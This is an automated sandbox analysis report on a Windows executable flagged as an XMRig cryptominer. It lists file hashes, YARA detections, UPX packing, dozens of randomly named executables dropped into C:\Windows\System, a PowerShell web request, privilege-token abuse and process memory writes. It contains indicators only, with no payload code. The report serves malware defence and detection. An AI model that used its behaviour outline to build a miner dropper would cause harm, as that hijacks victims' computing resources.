xmrig | cc47e3893c888aea8b27968448eaec4f7a62dd1fa584ff33b4174d7f09a62ec1

Analysis

max time kernel
149s
max time network
148s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
10-05-2024 12:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
Size

1.3MB
MD5

e8051a9643c9bba650cde2f1d61bcc70
SHA1

5cccf7cd36bdb3e7a24bff4e251291397d582c42
SHA256

cc47e3893c888aea8b27968448eaec4f7a62dd1fa584ff33b4174d7f09a62ec1
SHA512

d8b48b5e08bf534e7ddf71a6ca66f2706a7ccd04164578a4b1734fe82f8005a7d222f3f6e627a97957b5b3038df1f7c3e658604e679f18e1a56a5964a656eeee
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYKpGncHezeqV92K:Lz071uv4BPMkibTIA5CeZD

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 23 IoCs

miner

resource	yara_rule
behavioral1/memory/2668-54-0x000000013F180000-0x000000013F572000-memory.dmp	xmrig
behavioral1/memory/2828-56-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	xmrig
behavioral1/memory/3052-58-0x000000013FC80000-0x0000000140072000-memory.dmp	xmrig
behavioral1/memory/2776-62-0x000000013F090000-0x000000013F482000-memory.dmp	xmrig
behavioral1/memory/2536-68-0x000000013F060000-0x000000013F452000-memory.dmp	xmrig
behavioral1/memory/3032-73-0x000000013F750000-0x000000013FB42000-memory.dmp	xmrig
behavioral1/memory/3036-72-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	xmrig
behavioral1/memory/2708-60-0x000000013FB30000-0x000000013FF22000-memory.dmp	xmrig
behavioral1/memory/2364-841-0x000000013F100000-0x000000013F4F2000-memory.dmp	xmrig
behavioral1/memory/1948-97-0x000000013FE10000-0x0000000140202000-memory.dmp	xmrig
behavioral1/memory/2632-93-0x000000013F180000-0x000000013F572000-memory.dmp	xmrig
behavioral1/memory/2260-13-0x000000013F1E0000-0x000000013F5D2000-memory.dmp	xmrig
behavioral1/memory/3052-3671-0x000000013FC80000-0x0000000140072000-memory.dmp	xmrig
behavioral1/memory/2776-3673-0x000000013F090000-0x000000013F482000-memory.dmp	xmrig
behavioral1/memory/2668-3672-0x000000013F180000-0x000000013F572000-memory.dmp	xmrig
behavioral1/memory/3036-3674-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	xmrig
behavioral1/memory/2536-3675-0x000000013F060000-0x000000013F452000-memory.dmp	xmrig
behavioral1/memory/2260-3677-0x000000013F1E0000-0x000000013F5D2000-memory.dmp	xmrig
behavioral1/memory/2708-3678-0x000000013FB30000-0x000000013FF22000-memory.dmp	xmrig
behavioral1/memory/2784-3679-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	xmrig
behavioral1/memory/3032-3688-0x000000013F750000-0x000000013FB42000-memory.dmp	xmrig
behavioral1/memory/2828-3683-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	xmrig
behavioral1/memory/2632-3718-0x000000013F180000-0x000000013F572000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2324	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2260	yucQawW.exe
2668	GTXvNNe.exe
2828	WyPVgIV.exe
3052	IUEJOmH.exe
2708	DDIquPW.exe
2776	dUgPQBo.exe
2536	GamtWGc.exe
3036	uaetEOk.exe
3032	SleoOie.exe
2784	MFrTpwH.exe
2632	gyysgGq.exe
1948	ljngOCC.exe
1984	FGnXjKI.exe
280	tznFQoe.exe
2468	ORTigPW.exe
2388	WmyVJOY.exe
2752	MLjUBSG.exe
1636	xhbHFfo.exe
1800	qruUrXb.exe
1212	XGFaaLP.exe
1696	YgmCgUP.exe
2792	CndyRtc.exe
2360	qnTLuvF.exe
2088	lohrlee.exe
2840	JYkoOsv.exe
684	gSjeVbc.exe
1196	KcLEnHb.exe
1500	VsUGjBw.exe
904	RiwaRgE.exe
3068	rvwfBrJ.exe
1780	fkOCKUI.exe
1300	DjGMveF.exe
412	FAPZCVX.exe
1148	SNBHfQe.exe
3064	OXhsbIO.exe
1796	HwrCZwC.exe
1676	KAKdeYQ.exe
1772	fIWRNsw.exe
1648	Hounrkm.exe
1376	mPZcUYF.exe
1744	OKKwgtx.exe
320	usnJkxm.exe
1620	sMcbvLI.exe
912	jPEyRuZ.exe
940	jVXrWhM.exe
712	hVdnoCI.exe
3004	CRbEhYx.exe
2980	QeuVWDG.exe
2884	MZAXsYl.exe
564	Arnajna.exe
2280	NlckoZH.exe
2976	vQsmsiN.exe
1284	tzefznz.exe
2272	houzhSo.exe
888	dIpnUuF.exe
2328	wSCLGPp.exe
2156	yNVKhTm.exe
2812	DKxtGlP.exe
2172	TsiUMFU.exe
1584	fIDeUtg.exe
1700	tyayXXi.exe
1316	dHCCTMb.exe
1952	AMZLlSN.exe
2748	LJdyvpo.exe

Loads dropped DLL 64 IoCs

pid	Process
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000d000000013309-5.dat	upx
behavioral1/files/0x003a0000000139f1-19.dat	upx
behavioral1/files/0x0008000000013f2c-28.dat	upx
behavioral1/files/0x0007000000014183-35.dat	upx
behavioral1/files/0x0008000000014251-43.dat	upx
behavioral1/files/0x0007000000014713-47.dat	upx
behavioral1/memory/2668-54-0x000000013F180000-0x000000013F572000-memory.dmp	upx
behavioral1/memory/2828-56-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	upx
behavioral1/memory/3052-58-0x000000013FC80000-0x0000000140072000-memory.dmp	upx
behavioral1/memory/2776-62-0x000000013F090000-0x000000013F482000-memory.dmp	upx
behavioral1/memory/2536-68-0x000000013F060000-0x000000013F452000-memory.dmp	upx
behavioral1/memory/3032-73-0x000000013F750000-0x000000013FB42000-memory.dmp	upx
behavioral1/memory/3036-72-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	upx
behavioral1/files/0x000600000001472f-66.dat	upx
behavioral1/memory/2708-60-0x000000013FB30000-0x000000013FF22000-memory.dmp	upx
behavioral1/files/0x0006000000014890-77.dat	upx
behavioral1/files/0x003a000000013a3f-86.dat	upx
behavioral1/files/0x0006000000014a60-89.dat	upx
behavioral1/files/0x000600000001507a-116.dat	upx
behavioral1/files/0x0006000000014bd7-104.dat	upx
behavioral1/files/0x0006000000015083-122.dat	upx
behavioral1/files/0x00060000000150d9-129.dat	upx
behavioral1/files/0x0006000000014f57-113.dat	upx
behavioral1/files/0x0006000000014c2d-108.dat	upx
behavioral1/files/0x0006000000015b50-156.dat	upx
behavioral1/files/0x00060000000153ee-137.dat	upx
behavioral1/files/0x00060000000158d9-145.dat	upx
behavioral1/files/0x0006000000015ca8-169.dat	upx
behavioral1/memory/2364-841-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/files/0x0006000000015ce3-185.dat	upx
behavioral1/files/0x0006000000015cd2-181.dat	upx
behavioral1/files/0x0006000000015cc5-177.dat	upx
behavioral1/files/0x0006000000015cb1-173.dat	upx
behavioral1/files/0x0006000000015c9a-165.dat	upx
behavioral1/files/0x0006000000015b85-161.dat	upx
behavioral1/files/0x0006000000015ae3-148.dat	upx
behavioral1/files/0x0006000000015662-142.dat	upx
behavioral1/files/0x000600000001565a-140.dat	upx
behavioral1/files/0x0006000000014b1c-100.dat	upx
behavioral1/memory/1948-97-0x000000013FE10000-0x0000000140202000-memory.dmp	upx
behavioral1/memory/2632-93-0x000000013F180000-0x000000013F572000-memory.dmp	upx
behavioral1/memory/2784-82-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/files/0x0007000000014171-33.dat	upx
behavioral1/files/0x0016000000005586-18.dat	upx
behavioral1/memory/2260-13-0x000000013F1E0000-0x000000013F5D2000-memory.dmp	upx
behavioral1/memory/2364-2-0x000000013F100000-0x000000013F4F2000-memory.dmp	upx
behavioral1/memory/3052-3671-0x000000013FC80000-0x0000000140072000-memory.dmp	upx
behavioral1/memory/2776-3673-0x000000013F090000-0x000000013F482000-memory.dmp	upx
behavioral1/memory/2668-3672-0x000000013F180000-0x000000013F572000-memory.dmp	upx
behavioral1/memory/3036-3674-0x000000013F4C0000-0x000000013F8B2000-memory.dmp	upx
behavioral1/memory/2536-3675-0x000000013F060000-0x000000013F452000-memory.dmp	upx
behavioral1/memory/2260-3677-0x000000013F1E0000-0x000000013F5D2000-memory.dmp	upx
behavioral1/memory/2708-3678-0x000000013FB30000-0x000000013FF22000-memory.dmp	upx
behavioral1/memory/2784-3679-0x000000013F2B0000-0x000000013F6A2000-memory.dmp	upx
behavioral1/memory/3032-3688-0x000000013F750000-0x000000013FB42000-memory.dmp	upx
behavioral1/memory/2828-3683-0x000000013F5D0000-0x000000013F9C2000-memory.dmp	upx
behavioral1/memory/2632-3718-0x000000013F180000-0x000000013F572000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\GXtLEoI.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\wjhJEen.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\EvRLXsi.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\dIiChZS.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\cDvsDVx.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\ohrCZhI.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\fxzWMwL.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\MlaliBm.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\qZqIbgr.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\SvXsVbQ.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\yyFUCEN.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\SelluZc.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\RMzFLTw.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\AGApzjf.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\jpmSOMK.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\suKCXuw.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\Zttmdbf.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\acQdGgc.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\ykEXZTz.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HZfDDUD.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\VnSEacT.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HKuvBaU.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\OmEmeWv.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\EoNgzoz.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\WtYPfcM.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\EszFOCL.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HcPjLJI.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\QHulxPP.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\zxtESbH.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\rWKWbRm.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HOExGhd.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\GAbWrcq.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\wPhFUeu.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\vqzVFGj.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\pUWYaXf.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\KTvNttT.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\akuybiR.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\SuKmbiS.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\OJBjRnO.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\KQIbLfo.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\jcpVufm.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\buXCaDc.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\dkAxTlA.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\ztIULwi.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\jBELaZG.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\tKAlCEd.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\pUAVbbK.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\ClZLNQm.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HqrIlXz.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\OfjxGUM.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\zGnWqDi.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\gTfCFaV.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\tYexAzc.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\UEWmEBT.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\lmuuOmg.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\iCvOpYJ.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\HlTUdfh.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\iOHnnFr.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\fiMBFzY.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\oJYgaOA.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\cWmXnCw.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\fKybxwz.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\UGvHtNW.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
File created	C:\Windows\System\hsPAMzs.exe	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
Token: SeDebugPrivilege	2324	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2364 wrote to memory of 2324	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2324	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2324	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	29
PID 2364 wrote to memory of 2260	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2260	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2260	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	30
PID 2364 wrote to memory of 2668	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2668	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2668	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	31
PID 2364 wrote to memory of 2828	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 2828	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 2828	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	32
PID 2364 wrote to memory of 3052	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 3052	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 3052	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	33
PID 2364 wrote to memory of 2708	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2708	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2708	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	34
PID 2364 wrote to memory of 2776	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2776	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2776	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	35
PID 2364 wrote to memory of 2536	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 2536	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 2536	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	36
PID 2364 wrote to memory of 3036	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 3036	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 3036	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	37
PID 2364 wrote to memory of 3032	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 3032	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 3032	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	38
PID 2364 wrote to memory of 2784	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 2784	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 2784	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	39
PID 2364 wrote to memory of 2632	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 2632	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 2632	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	40
PID 2364 wrote to memory of 1948	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 1948	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 1948	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	41
PID 2364 wrote to memory of 1984	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 1984	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 1984	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	42
PID 2364 wrote to memory of 280	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 280	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 280	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	43
PID 2364 wrote to memory of 2468	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2468	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2468	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	44
PID 2364 wrote to memory of 2388	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 2388	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 2388	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	45
PID 2364 wrote to memory of 2752	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 2752	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 2752	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	46
PID 2364 wrote to memory of 1636	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 1636	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 1636	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	47
PID 2364 wrote to memory of 1800	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 1800	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 1800	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	48
PID 2364 wrote to memory of 1212	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 1212	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 1212	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	49
PID 2364 wrote to memory of 1696	2364	e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\1962133609\zmstage.exe
C:\Users\Admin\AppData\Local\Temp\1962133609\zmstage.exe
1⤵
PID:2172

